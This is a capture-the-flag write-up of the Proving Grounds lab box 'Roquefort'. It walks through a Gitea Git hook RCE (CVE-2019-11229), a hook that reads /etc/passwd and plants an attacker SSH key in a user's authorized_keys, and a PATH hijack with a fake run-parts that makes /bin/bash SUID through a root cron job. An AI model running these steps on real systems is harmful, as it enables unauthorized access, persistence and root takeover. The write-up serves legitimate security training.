Roquefort Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 3 min read
Roquefort runs Gitea 1.7.5 with open registration, vulnerable to an authenticated Git hook RCE (CVE-2019-11229). A hook that writes an SSH key to chloe's account gives a foothold, and a writable /usr/local/bin ahead of the system path in a root cron lets a fake run-parts binary hand over root.
Reconnaissance
Nmap
Four services are open.
21/tcp open ftp (no anonymous login) 22/tcp open ssh OpenSSH 2222/tcp open ssh Dropbear sshd 2016.74 3000/tcp open http Gitea 1.7.5
Port 3000 runs Gitea 1.7.5, a self-hosted Git service, with registration open. This version is vulnerable to CVE-2019-11229, an authenticated remote code execution through Git hooks.
Exploitation
Gitea Git hook RCE (CVE-2019-11229)
Register an account, then create a repository to get access to its Git hooks.
Under the repository's Settings > Git Hooks > Post-Receive Hook, a quick test hook confirms code execution before going further.
#!/bin/bash
cat /etc/passwd
The hook output reveals the local user chloe. The target has neither nc nor curl, so instead of a reverse shell, write an attacker SSH key into chloe's authorized_keys for persistent access.
ssh-rsa AAAAB3NzaC1yc2EA<snip> kali@kali
#!/bin/bash
mkdir -p /home/chloe/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EA<snip> kali@kali" >> /home/chloe/.ssh/authorized_keys
chmod 700 /home/chloe/.ssh
chmod 600 /home/chloe/.ssh/authorized_keys
The hook fires on any push, so cloning, committing, and pushing a trivial change triggers it. Editing a file directly in the Gitea web UI and committing works just as well.
remote: Executing post-receive hook ... To http://$TARGET_IP:3000/<username>/exploit.git e5f4380..8f67b03 master -> master
chloe@roquefort:~$ id uid=1000(chloe) gid=1000(chloe) groups=1000(chloe)
Explain command
| -i | Use this private key for authentication. |
Shell as chloe.
Privilege Escalation
PATH hijack via /usr/local/bin
Check the PATH and what chloe can write to.
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin drwxrwxrwx 2 root chloe 4096 /usr/local/bin
/usr/local/bin is writable by chloe and comes before /usr/bin and /bin in the PATH. Root cron jobs use run-parts to execute scripts in /etc/cron.hourly/ and similar directories, and that lookup will resolve to whatever is placed here first.
17 * * * * root cd / && run-parts --report /etc/cron.hourly
#!/bin/bash
chmod +s /bin/bash
Wait for the next cron run, then check whether /bin/bash picked up the SUID bit.
-rwsr-sr-x 1 root root 1168776 /bin/bash
bash-5.0# id uid=1000(chloe) gid=1000(chloe) euid=0(root) egid=0(root)
Explain command
| -p | Preserve the SUID-inherited effective privileges. |
Cron ran the hijacked run-parts as root, giving a root shell.
Related
References
-
Gitea before 1.7.6 authenticated remote code execution via Git hooks.